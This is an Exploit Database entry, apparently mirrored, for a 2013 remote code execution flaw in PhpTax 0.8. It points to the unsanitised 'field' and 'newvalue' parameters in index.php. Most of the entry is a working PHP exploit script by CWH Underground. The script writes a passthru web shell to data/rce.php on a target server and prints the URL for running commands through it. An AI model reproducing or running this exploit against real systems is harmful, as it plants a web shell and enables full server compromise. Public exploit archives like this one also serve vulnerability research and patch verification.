PhpTax 0.8 – File Manipulation ‘newvalue’ / Remote Code Execution

• Exploit Database
• 37 阅读

• 作者： CWH Underground
  日期： 2013-05-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/25849/

• #
  #,--^----------,--------,-----,-------^--,
  #| ||||||||| `--------' |O .. CWH Underground Hacking Team ..
  #`+---------------------------^----------|
  #`\_,-------, _________________________|
  #/ XXXXXX /`| /
  # / XXXXXX /`\ /
  #/ XXXXXX /\______(
  # / XXXXXX /
  #/ XXXXXX /
  # (________(
  #`------'
  
  # Exploit Title : PhpTax File Manipulation(newvalue,field) Remote Code Execution
  # Date: 31 May 2013
  # Exploit Author: CWH Underground
  # Site: www.2600.in.th
  # Vendor Homepage : http://phptax.sourceforge.net/
  # Software Link : http://sourceforge.net/projects/phptax/
  # Version : 0.8
  # Tested on : Window and Linux
  
  
  #####################################################
  #VULNERABILITY: FILE MANIPULATION TO REMOTE COMMAND EXECUTION
  #####################################################
  
  #index.php
  
  #LINE 32: fwrite fwrite($zz, "$_GET['newvalue']"); 
  #LINE 31: $zz = fopen("./data/$field", "w"); 
  #LINE2: $field = $_GET['field']; 
  
  #####################################################
  #DESCRIPTION
  #####################################################
  
  #An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. 
  #User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. 
  #An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
  
  
  #####################################################
  #EXPLOIT
  #####################################################
  
  <?php
   
  $options = getopt('u:');
   
  if(!isset($options['u']))
  die("\nUsage example: php exploit.php -u http://target.com/ \n"); 
   
  $url =$options['u'];
  $shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E";
  
  $headers = array('User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
  'Content-Type: text/plain');
   
  echo "[+] Submitting request to: {$options['u']}\n";
   
  $handle = curl_init();
   
  curl_setopt($handle, CURLOPT_URL, $url);
  curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
  curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
   
  $source = curl_exec($handle);
  curl_close($handle);
   
  if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
  {
  echo "[+] Exploit completed successfully!\n";
  echo "______________________________________________\n\n{$url}/data/rce.php?cmd=id\n";
  }
  else
  {
  die("[+] Exploit was unsuccessful.\n");
  }
  
  ?>
  
  ################################################################################################################
  # Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 
  ################################################################################################################